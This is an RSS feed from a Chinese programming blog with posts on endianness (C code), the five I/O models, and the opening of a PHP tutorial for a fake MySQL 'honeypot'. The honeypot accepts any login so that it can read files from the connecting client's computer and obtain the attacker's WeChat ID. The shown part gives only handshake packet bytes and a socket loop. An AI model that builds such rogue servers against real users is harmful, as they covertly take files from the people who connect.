<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>网络编程 - 她和她的猫</title>
    <link>https://her-cat.com/tags/%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B/</link>
    <description>网络编程的文章列表 - 她和她的猫</description>
    <image>
      <title>她和她的猫</title>
      <url>https://her-cat.com/assets/favorite.jpeg</url>
      <link>https://her-cat.com/assets/favorite.jpeg</link>
    </image>
    <generator>Hugo -- 0.148.1</generator>
    <language>zh</language>
    <lastBuildDate>Sun, 08 Jun 2025 11:58:52 +0800</lastBuildDate>
    <atom:link href="https://her-cat.com/tags/%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>大端模式和小端模式</title>
      <link>https://her-cat.com/posts/2021/06/14/big-endian-and-little-endian/</link>
      <pubDate>Mon, 14 Jun 2021 22:02:00 +0800</pubDate>
      <guid>https://her-cat.com/posts/2021/06/14/big-endian-and-little-endian/</guid>
      <description>大端模式（Big-Endian）又称大端字节序，由于在网络传输中一般使用的是大端模式，所以也叫网络字节序。在大端模式中，将高位字节放在低位</description>
      <content:encoded><![CDATA[<h2 id="什么是大小端模式">什么是大/小端模式</h2>
<h3 id="大端模式">大端模式</h3>
<p>大端模式（Big-Endian）又称大端字节序，由于在网络传输中一般使用的是大端模式，所以也叫网络字节序。</p>
<p>在大端模式中，将高位字节放在低位地址，低位字节放在高位地址。</p>
<p>举个例子，数值 <code>0x12345678</code>，其中 <code>0x12</code> 这一端是高位字节，<code>0x78</code> 这一端是低位字节。</p>
<p>该数值的存储顺序是这样的：</p>
<p><img decoding="async" height="141" loading="lazy" sizes="(max-width: 768px) 100vw, (max-width: 1024px) 768px, 1024px" src="/posts/2021/06/14/big-endian-and-little-endian/big-endian.png" srcset="/posts/2021/06/14/big-endian-and-little-endian/big-endian_hu_d1caa21632b55229.png 384w" style="max-width: 100%; height: auto; aspect-ratio: 3.0567;" width="431"></p>
<p>大端模式符合我们阅读和书写的方式，都是从左到右的。比如 <code>12345678</code>，我们只需要按照从左到右的顺序进行阅读和书写就是大端模式的存储顺序了。</p>
<h3 id="小端模式">小端模式</h3>
<p>小端模式（Little-Endian）又称小端字节序，由于大多数计算机内部处理使用的是小端模式，所以也叫主机序。</p>
<p>在小端模式中，将高位字节放在高位地址，低位字节放在低位地址。</p>
<p><img decoding="async" height="141" loading="lazy" sizes="(max-width: 768px) 100vw, (max-width: 1024px) 768px, 1024px" src="/posts/2021/06/14/big-endian-and-little-endian/little-endian.png" srcset="/posts/2021/06/14/big-endian-and-little-endian/little-endian_hu_a9186de2b3e9d99d.png 384w" style="max-width: 100%; height: auto; aspect-ratio: 3.0567;" width="431"></p>
<p>小端模式比较符合我们人类的思维模式，大的放大的那一边，小的放小的那一边。但是在计算机中存储的顺序与我们看到的顺序是相反的。</p>
<h2 id="为什么会有大小端模式">为什么会有大/小端模式</h2>
<p>对于早期的计算机来说，先处理低位字节效率比较高，因为计算都是从低位开始的，所以大多数计算机内部处理使用的是小端模式。但是计算机发展到现在，计算机的处理器相较于以前已经进步很多了，先处理高位还是低位字节的影响已经可以忽略，但是为了向后兼容，保留了大/小端模式。</p>
<p>大端模式更适合程序员阅读，因为看到的内容与输出的内容是一致的。</p>
<h2 id="如何判断主机是大端还是小端">如何判断主机是大端还是小端</h2>
<h3 id="通过读取低位地址">通过读取低位地址</h3>
<p>定义一个 16 位无符号的整数值，然后判断其低位字节存放的位置。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">__uint16_t</span> <span class="n">val</span> <span class="o">=</span> <span class="mh">0x1234</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">a</span> <span class="o">=</span> <span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span> <span class="o">&amp;</span><span class="n">val</span><span class="p">)[</span><span class="mi">0</span><span class="p">];</span> <span class="c1">// 低位地址
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kt">char</span> <span class="n">b</span> <span class="o">=</span> <span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span> <span class="o">&amp;</span><span class="n">val</span><span class="p">)[</span><span class="mi">1</span><span class="p">];</span> <span class="c1">// 高位地址
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;a = %x</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">a</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;b = %x</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">b</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">a</span> <span class="o">==</span> <span class="mh">0x34</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;小端模式</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;大端模式</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>通过 &amp;val 取得 val 的内存地址，然后将其转为 char 类型的指针，再以数组的方式取指针地址上存储的值。</p>
<p>下标 0 可以取到低位地址上的值，下标 1 可以取到高位地址上的值。如果下标 0 取到的是 0x34，说明是小端模式，因为低位字节存储在低位地址上。</p>
<p>我的电脑是小端模式的，最后会输出：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">a = 34
</span></span><span class="line"><span class="cl">b = 12
</span></span><span class="line"><span class="cl">小端模式
</span></span></code></pre></div><h3 id="利用联合体">利用联合体</h3>
<p>联合体是一种特殊的数据结构，联合体中的成员变量共用同一段内存。</p>
<p>我们定义一个 test 联合体，设置两个成员变量 a 和 b。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">union</span> <span class="n">test</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">__uint32_t</span> <span class="n">a</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="kt">char</span> <span class="n">b</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">union</span> <span class="n">test</span> <span class="n">val</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">val</span><span class="p">.</span><span class="n">a</span> <span class="o">=</span> <span class="mh">0x12345678</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;%x</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">val</span><span class="p">.</span><span class="n">b</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">val</span><span class="p">.</span><span class="n">b</span> <span class="o">==</span> <span class="mh">0x78</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;小端模式</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;大端模式</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>如果主机是小端模式，<code>0x12345678</code> 的存储顺序为：</p>
<p><img decoding="async" height="174" loading="lazy" src="/posts/2021/06/14/big-endian-and-little-endian/union-struct.png" style="max-width: 100%; height: auto; aspect-ratio: 2.0805;" width="362"></p>
<p>与第一种方法目的相同，都是通过获取低位地址的第一个字节，判断其存储的内容就可以知道主机是大端还是小端模式，不过这里利用了联合体成员变量共用内存的特点，实现方式更加巧妙。</p>
<h3 id="使用-c-语言内置宏">使用 C 语言内置宏</h3>
<p>除了上面两种自制的“土方法”，C 语言已经自带了一些宏用来判断主机的字节序。</p>
<p>endian.h 文件：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">// 小端模式
</span></span><span class="line"><span class="cl"># define LITTLE_ENDIAN	__LITTLE_ENDIAN
</span></span><span class="line"><span class="cl">// 大端模式
</span></span><span class="line"><span class="cl"># define BIG_ENDIAN	__BIG_ENDIAN
</span></span><span class="line"><span class="cl">// 当前主机的字节序
</span></span><span class="line"><span class="cl"># define BYTE_ORDER	__BYTE_ORDER
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;endian.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">BYTE_ORDER</span> <span class="o">==</span> <span class="n">LITTLE_ENDIAN</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;小端模式</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;大端模式</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h2 id="大小端转换">大小端转换</h2>
<h3 id="为什么需要大小端转换">为什么需要大小端转换</h3>
<p>前面我们提到，在主机基本上使用的都是小端模式，但是在网络传输的时候使用的却是大端模式。</p>
<p>如果我们的程序仅仅是一个单机程序，不需要跟其它程序进行数据交互，那么是不需要进行大小端转换的。</p>
<p>如果程序需要与其它程序进行数据交互，那么在发送数据前，就要将数据从小端模式转换为大端模式。在接收到数据后，将数据从大端模式转换为小端模式。</p>
<h3 id="手动实现转换逻辑">手动实现转换逻辑</h3>
<p>只需要将高位字节与低位字节进行交换，就可以实现大小端的转换。</p>
<p><img decoding="async" height="141" loading="lazy" sizes="(max-width: 768px) 100vw, (max-width: 1024px) 768px, 1024px" src="/posts/2021/06/14/big-endian-and-little-endian/convert-endian.png" srcset="/posts/2021/06/14/big-endian-and-little-endian/convert-endian_hu_d39e42e861f71731.png 384w" style="max-width: 100%; height: auto; aspect-ratio: 3.0567;" width="431"></p>
<p>下面是实现代码：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">int main()
</span></span><span class="line"><span class="cl">{
</span></span><span class="line"><span class="cl">    __uint32_t val = 0x12345678;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    unsigned char *x = (unsigned char *) &amp;val, tmp;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    // 0x78 与 0x12 进行交换
</span></span><span class="line"><span class="cl">    tmp = x[0];
</span></span><span class="line"><span class="cl">    x[0] = x[3];
</span></span><span class="line"><span class="cl">    x[3] = tmp;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    // 0x56 与 0x34 交换
</span></span><span class="line"><span class="cl">    tmp = x[1];
</span></span><span class="line"><span class="cl">    x[1] = x[2];
</span></span><span class="line"><span class="cl">    x[2] = tmp;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    // 输出：0x78563412
</span></span><span class="line"><span class="cl">    printf(&#34;0x%x\n&#34;, val);
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    return 0;
</span></span><span class="line"><span class="cl">}
</span></span></code></pre></div><h3 id="使用-c-语言内置宏-1">使用 C 语言内置宏</h3>
<p>在 C 语言中已经提供了大小端转换宏在 endian.h 头文件中，下面列出部分：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">// 转换 16 位整数
</span></span><span class="line"><span class="cl">htobe16(x)
</span></span><span class="line"><span class="cl">be16toh(x)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">// 转换 32 位整数
</span></span><span class="line"><span class="cl">htobe32(x)
</span></span><span class="line"><span class="cl">be32toh(x)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">// 转换 64 位整数
</span></span><span class="line"><span class="cl">htobe64(x)
</span></span><span class="line"><span class="cl">be64toh(x)
</span></span></code></pre></div><ul>
<li>h 的意思是 host，表示小端模式。</li>
<li>be 的意思是 big-endian，表示大端模式。</li>
<li>16、32、64 的意思是 16 位、32 位、64 位整数，表示不同位数的整数转换。</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">int main()
</span></span><span class="line"><span class="cl">{
</span></span><span class="line"><span class="cl">    __uint32_t val = 0x12345678;
</span></span><span class="line"><span class="cl">    // 输出：0x78563412
</span></span><span class="line"><span class="cl">    printf(&#34;0x%x\n&#34;, htobe32(val));
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    return 0;
</span></span><span class="line"><span class="cl">}
</span></span></code></pre></div><h2 id="总结">总结</h2>
<p>计算机在处理数据的时候，只会按照顺序去读取字节，不关心数据是大端模式还是小端模式。</p>
<p>程序在读取到数据后，需要判断计算机的大小端模式，来决定是否需要进行大小端转换。</p>
<p>如果读到的第一个字节是高位字节，那么就是大端模式；反之，如果读到的第一个字节是低位字节，那么就是小端模式。</p>
]]></content:encoded>
    </item>
    <item>
      <title>聊聊五种 I/O 模型</title>
      <link>https://her-cat.com/posts/2021/05/12/talking-about-five-io-models/</link>
      <pubDate>Wed, 12 May 2021 17:34:05 +0800</pubDate>
      <guid>https://her-cat.com/posts/2021/05/12/talking-about-five-io-models/</guid>
      <description>I/O 模型分为阻塞 I/O、非阻塞 I/O、I/O 多路复用、信号驱动式 I/O、异步 I/O，前四种是同步 I/O 模型，最后一种是异步 I/O 模型，两者的区别在于</description>
      <content:encoded><![CDATA[<h2 id="什么是-io">什么是 I/O</h2>
<p>I/O 是 Input/Output 的简写，即输入/输出，是计算机与外部设备（键盘、鼠标、磁盘等）通信的统称，与具体实现无关。</p>
<p>与外部设备的通信其实就是对外部设备进行读取或写入数据的过程，比如对文件的读写操作可以称为文件 I/O、对套接字的读写操作称为网络 I/O。</p>
<h2 id="同步-io-和异步-io">同步 I/O 和异步 I/O</h2>
<p>同步和异步是相对于获取数据的过程而言的。</p>
<ul>
<li>同步 I/O：包含阻塞 I/O、非阻塞 I/O、I/O 多路复用、信号驱动式I/O 四种 I/O 模型，它们的共同点就是在执行 I/O 操作时会阻塞进程，直到 I/O 操作完成。</li>
<li>异步 I/O：执行 I/O 操作时不会阻塞进程。</li>
</ul>
<p>在用户进程中执行 read 系统调用时，内核将数据从内核空间拷贝用户进程空间。如果没有读到数据，那么进程会一直处于阻塞状态，当读取到数据时才会恢复进程，继续执行后面的逻辑，所以我们称这个操作是同步的。</p>
<p>异步只需要执行 aio_read 系统调用告诉内核从哪儿读取数据就可以了，进程不用等待立即返回，内核会异步地将数据从内核空间拷贝到用户进程空间。</p>
<h2 id="阻塞-io-模型">阻塞 I/O 模型</h2>
<p>套接字在创建时默认就是阻塞的。</p>
<p><img decoding="async" loading="lazy" src="/posts/2021/05/12/talking-about-five-io-models/blocking-io.svg" style="max-width: 100%; height: auto;"></p>
<p>用户进程执行 read 系统调用，如果数据没有准备好，那么进程将会被挂起，直到数据准备好之后内核将数据拷贝给用户进程。</p>
<p>举一个烧开水的例子，水壶是套接字，水壶里的水是数据，水未烧开说明数据没有准备好。</p>
<p>现在有 A、B、C 三个水壶，进程查询 A 的状态，发现水还没有烧开就一直等着水烧开，哪怕 B、C 的水烧开了也不管，直到 A 的水烧开了才会去处理下一个水壶。</p>
<p>缺点：每次只能对一个套接字进行操作，就算其它套接字数据准备好了也没办法立即处理。</p>
<h2 id="非阻塞-io-模型">非阻塞 I/O 模型</h2>
<p>在 PHP 中可以调用 socket_set_nonblock 函数将套接字设置为非阻塞的。</p>
<p><img decoding="async" loading="lazy" src="/posts/2021/05/12/talking-about-five-io-models/nonblocking-io.svg" style="max-width: 100%; height: auto;"></p>
<p>非阻塞 I/O 在数据未准备好的情况下，执行 read 系统调用将会立即返回，应用程序可以使用循环不停地轮训内核，直到数据准备好，内核将数据从拷贝到应用程序中。</p>
<p>伪代码：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">while (true) {
</span></span><span class="line"><span class="cl">    rbytes = read(fd);
</span></span><span class="line"><span class="cl">    if (rbytes &lt; 0 &amp;&amp; errno == EWOULDBLOCK) {
</span></span><span class="line"><span class="cl">        continue;
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">    // 处理数据
</span></span><span class="line"><span class="cl">}
</span></span></code></pre></div><p>用烧开水的例子来解释就是，进程不断地轮询每个水壶的状态，当某个水壶的水烧开了之后就执行下一步操作。</p>
<p>缺点：需要不停地轮询内核，浪费系统资源。</p>
<h2 id="io-多路复用模型">I/O 多路复用模型</h2>
<p>多路复用就是多个网络请求复用同一个进程，让单进程的应用程序拥有了同时处理多个套接字的能力，避免不停地轮询内核，造成资源浪费。</p>
<p><img decoding="async" loading="lazy" src="/posts/2021/05/12/talking-about-five-io-models/multiplexing-io.svg" style="max-width: 100%; height: auto;"></p>
<p>将需要监听的套接字交给内核，然后进程被挂起陷入休眠状态，当套接字数据准备好时，内核将对应的套接字及事件返回给进程并唤醒进程，进程就可以执行 read 系统调用读取数据，这个时候数据肯定是准备好的。</p>
<p>目前常见的有三种多路复用机制，分别是 select、poll、epoll。</p>
<table>
  <thead>
      <tr>
          <th style="text-align: center">多路复用机制</th>
          <th style="text-align: center">平台支持</th>
          <th style="text-align: center">底层实现</th>
          <th style="text-align: center">时间复杂度</th>
          <th style="text-align: center">最大连接数</th>
          <th style="text-align: center">fd 拷贝</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: center">select</td>
          <td style="text-align: center">Linux/Windows</td>
          <td style="text-align: center">数组</td>
          <td style="text-align: center">O(n)</td>
          <td style="text-align: center">1024</td>
          <td style="text-align: center">每次调用 select 都需要从用户进程拷贝到内核</td>
      </tr>
      <tr>
          <td style="text-align: center">poll</td>
          <td style="text-align: center">Linux</td>
          <td style="text-align: center">链表</td>
          <td style="text-align: center">O(n)</td>
          <td style="text-align: center">无上限</td>
          <td style="text-align: center">每次调用 poll 都需要从用户进程拷贝到内核</td>
      </tr>
      <tr>
          <td style="text-align: center">epoll</td>
          <td style="text-align: center">Linux</td>
          <td style="text-align: center">红黑树</td>
          <td style="text-align: center">O(1)</td>
          <td style="text-align: center">无上限</td>
          <td style="text-align: center">调用 epoll_ctl 时需要从用户进程拷贝到内核，epoll_wait 不需要</td>
      </tr>
  </tbody>
</table>
<p>从上表可以看出 epoll 性能最好，所以当程序运行在 Linux 系统上应该使用 epoll，如果是 Windows 可以使用 select，这样我们就可以实现跨平台的多路复用应用程序。</p>
<p>烧开水的例子：将 A、B、C 三个水壶交给内核，当有水烧开时内核就通知进程哪个水壶烧开了。</p>
<blockquote>
<p>I/O 多路复用中的套接字必须设置为非阻塞的。</p></blockquote>
<h2 id="信号驱动式-io-模型">信号驱动式 I/O 模型</h2>
<p>调用 sigaction 安装 SIGIO 信号处理器，为套接字设置宿主进程，当套接字的数据准备好时，操作系统会触发 SIGIO I/O 就绪信号，就会执行安装的信号处理器，在信号处理器中执行 I/O 操作。</p>
<p><img decoding="async" loading="lazy" src="/posts/2021/05/12/talking-about-five-io-models/signal-io.svg" style="max-width: 100%; height: auto;"></p>
<p>进程会安装 SIGIO 信号的处理函数，让内核有数据准备好时就触发 SIGIO 信号，并执行该信号对应的处理函数。</p>
<p>用水壶的例子来解释就是给每个水壶都安装了一个蜂鸣器，当水烧开时就开始响，进程就知道哪个水壶烧开了。</p>
<h2 id="异步-io-模型">异步 I/O 模型</h2>
<p>前面这四种 I/O 模型都是同步 I/O，不管是进程是如何知道数据是否准备好的，最终执行 read 系统调用从内核拷贝数据到用户进程的过程是同步的，而异步 I/O 的区别就在于这里。</p>
<p><img decoding="async" loading="lazy" src="/posts/2021/05/12/talking-about-five-io-models/async-io.svg" style="max-width: 100%; height: auto;"></p>
<p>异步 I/O 的读写操作都是立即返回的，读写操作由内核异步地执行，数据拷贝的过程不会阻塞用户进程。</p>
<p>相当于告诉内核，水烧开了就倒在这个杯子里，我想喝水了就自己去喝。</p>
<h2 id="总结">总结</h2>
<p>同步 I/O 和异步 I/O 的区别：内核将数据从内核空间拷贝到用户进程空间时，是否会阻塞用户进程。
阻塞 I/O 和非阻塞 I/O 的区别：数据没有准备好的时候是否会阻塞用户进程。</p>
]]></content:encoded>
    </item>
    <item>
      <title>PHP 网络编程：构建 MySQL 蜜罐获取攻击者微信 ID</title>
      <link>https://her-cat.com/posts/2021/04/07/php-build-mysql-honeypot/</link>
      <pubDate>Wed, 07 Apr 2021 21:43:52 +0800</pubDate>
      <guid>https://her-cat.com/posts/2021/04/07/php-build-mysql-honeypot/</guid>
      <description>启动一个 TCP 服务伪装成 MySQL 服务，当有人通过客户端连接进来时，不管用什么账号密码都提示登录成功，然后利用 MySQL 通信机制可以读取客户端所</description>
      <content:encoded><![CDATA[<h2 id="前言">前言</h2>
<p>无意间发现 <a href="https://mp.weixin.qq.com/s/m4I_YDn98K_A2yGAhv67Gg">MySQL蜜罐获取攻击者微信ID</a> 这篇文章，读完后觉得挺有意思的，于是想用 PHP 实现一下。</p>
<p>通过文章了解到，可以启动一个 TCP 服务伪装成 MySQL 服务，当有人通过客户端连接进来时，不管用什么账号密码都提示登录成功，然后利用 MySQL 通信机制可以读取客户端所在的电脑上的文件。</p>
<p><img decoding="async" height="198" loading="lazy" src="/posts/2021/04/07/php-build-mysql-honeypot/diaoyu.jpg" style="max-width: 100%; height: auto; aspect-ratio: 0.9394;" width="186"></p>
<h2 id="建立-tcp-服务">建立 TCP 服务</h2>
<p>先定义一些会用到的常量。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nx">define</span><span class="p">(</span><span class="s1">&#39;SERVER_ADDRESS&#39;</span><span class="p">,</span> <span class="s1">&#39;0.0.0.0&#39;</span><span class="p">);</span> <span class="c1">// 服务地址
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">define</span><span class="p">(</span><span class="s1">&#39;SERVER_PORT&#39;</span><span class="p">,</span> <span class="mi">8080</span><span class="p">);</span>         <span class="c1">// 端口号
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">define</span><span class="p">(</span><span class="s1">&#39;BUF_MAX_SIZE&#39;</span><span class="p">,</span> <span class="mi">1024</span> <span class="o">*</span> <span class="mi">100</span><span class="p">);</span>  <span class="c1">// 每次最多读取多少字节的数据
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="c1">// MySQL 信息报文（版本号、salt等信息）
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">define</span><span class="p">(</span><span class="s1">&#39;MYSQL_INFO_MESSAGE&#39;</span><span class="p">,</span> <span class="s2">&#34;</span><span class="se">\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00</span><span class="s2">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// MySQL 认证成功报文
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">define</span><span class="p">(</span><span class="s1">&#39;MYSQL_AUTH_SUCCESS&#39;</span><span class="p">,</span> <span class="s2">&#34;</span><span class="se">\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00</span><span class="s2">&#34;</span><span class="p">);</span>
</span></span></code></pre></div><p>创建一个 TCP Socket 用于接收并处理客户端的连接，<code>socket_accept</code> 函数返回的是一个已经通过 TCP 三次握手后的连接。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="c1">// 创建 TCP Socket
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nv">$server</span> <span class="o">=</span> <span class="nx">socket_create</span><span class="p">(</span><span class="nx">AF_INET</span><span class="p">,</span> <span class="nx">SOCK_STREAM</span><span class="p">,</span> <span class="nx">SOL_TCP</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 将 Socket 绑定到指定的主机地址和端口上
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">socket_bind</span><span class="p">(</span><span class="nv">$server</span><span class="p">,</span> <span class="nx">SERVER_ADDRESS</span><span class="p">,</span> <span class="nx">SERVER_PORT</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 开始监听 Socket
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">socket_listen</span><span class="p">(</span><span class="nv">$server</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 这里 while true 是为了处理完一个连接之后，又可以继续处理下一个连接
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">while</span> <span class="p">(</span><span class="k">true</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 由于我们刚刚创建的 $server 是阻塞 IO，
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="c1">// 所以代码运行到这的时候会阻塞住，会将 CPU 让出去，
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="c1">// 直到有客户端来连接
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nv">$conn</span> <span class="o">=</span> <span class="nx">socket_accept</span><span class="p">(</span><span class="nv">$server</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// 后面的代码都是从这开始的
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span></code></pre></div><p>到这里一个简单的 TCP 服务就完成了。</p>
<blockquote>
<p>由于 socket_accept 后面的代码是本文的重点，所以将这部分单独拿出来。</p></blockquote>
<h2 id="mysql-服务端与客户端通信的过程">MySQL 服务端与客户端通信的过程</h2>
<p>接下来要做的事情就是伪装 MySQL 服务与客户端进行交互。</p>
<p>在此之前，我们先了解一下 MySQL 服务端与客户端通信的过程。</p>
<ul>
<li>客户端对服务端发起请求，进行 TCP 三次握手后建立连接</li>
<li>服务端给客户端发 MySQL 版本等信息</li>
<li>客户端收到后，给服务端发送账号密码进行认证</li>
<li>服务端收到账号密码进行验证，然后给客户端发送认证结果</li>
<li>客户端收到认证成功的消息后，给服务端发送设置编码的报文</li>
</ul>
<p>用代码实现上面服务端做的事情。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="c1">// 发送 MySQL 服务信息报文
